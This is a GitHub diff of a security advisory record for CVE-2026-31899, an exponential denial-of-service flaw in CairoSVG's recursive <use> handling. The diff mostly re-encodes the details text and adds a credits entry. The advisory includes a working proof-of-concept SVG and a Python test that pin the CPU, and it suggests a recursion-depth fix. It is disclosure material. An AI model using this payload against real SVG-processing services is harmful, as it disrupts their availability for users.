Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@
"CVE-2026-31899"
],
"summary": "CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification",
"details": "## Summary\n\nKozea/CairoSVG has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.\n\n## Vulnerable Code\n\nFile: `cairosvg/defs.py` (line ~335), function `use()`\n\nThe `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.\n\n## Impact\n\n- 1,411-byte SVG payload pins CPU at 100% indefinitely\n- Memory stays flat at ~43MB — no OOM kill, process never terminates\n- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able\n- Amplification factor: O(10^N) rendering calls from O(N) input\n\n## Proof of Concept\n\nSave as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:\n\n```xml\n<?xml version=\"1.0\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n <defs>\n <g id=\"a\"><rect width=\"1\" height=\"1\"/></g>\n <g id=\"b\"><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/></g>\n <g id=\"c\"><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/></g>\n <g id=\"d\"><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/></g>\n <g id=\"e\"><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/></g>\n </defs>\n <use xlink:href=\"#e\"/>\n</svg>\n```\n\nExpected: `timeout` kills the process after 10 seconds (it never completes on its own).\n\nAlternatively test with Python:\n```python\nimport cairosvg, signal\nsignal.alarm(5) # Kill after 5 seconds\ntry:\n cairosvg.svg2png(bytestring=open(\"poc.svg\").read())\nexcept:\n print(\"[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s\")\n```\n\n## Suggested Fix\n\nAdd recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.\n\n## References\n\n- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI & Security Research",
"details": "## Summary\n\nKozea/CairoSVG has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.\n\n## Vulnerable Code\n\nFile: `cairosvg/defs.py` (line ~335), function `use()`\n\nThe `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.\n\n## Impact\n\n- 1,411-byte SVG payload pins CPU at 100% indefinitely\n- Memory stays flat at ~43MB \u2014 no OOM kill, process never terminates\n- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able\n- Amplification factor: O(10^N) rendering calls from O(N) input\n\n## Proof of Concept\n\nSave as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:\n\n```xml\n<?xml version=\"1.0\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n <defs>\n <g id=\"a\"><rect width=\"1\" height=\"1\"/></g>\n <g id=\"b\"><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/></g>\n <g id=\"c\"><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/></g>\n <g id=\"d\"><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/></g>\n <g id=\"e\"><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/></g>\n </defs>\n <use xlink:href=\"#e\"/>\n</svg>\n```\n\nExpected: `timeout` kills the process after 10 seconds (it never completes on its own).\n\nAlternatively test with Python:\n```python\nimport cairosvg, signal\nsignal.alarm(5) # Kill after 5 seconds\ntry:\n cairosvg.svg2png(bytestring=open(\"poc.svg\").read())\nexcept:\n print(\"[!!!] CONFIRMED: CPU exhaustion \u2014 process did not complete in 5s\")\n```\n\n## Suggested Fix\n\nAdd recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.\n\n## References\n\n- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)\n\n## Credit\n\nKai Aizen (SnailSploit) \u2014 Adversarial AI & Security Research",
"severity": [
{
"type": "CVSS_V3",
Expand Down Expand Up @@ -60,5 +60,14 @@
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T18:57:31Z",
"nvd_published_at": null
}
}
},
"credits": [
{
"contact": [
"https://github.com/SnailSploit"
],
"name": "Kai Aizen (SnailSploit)",
"type": "FINDER"
}
]
}
Loading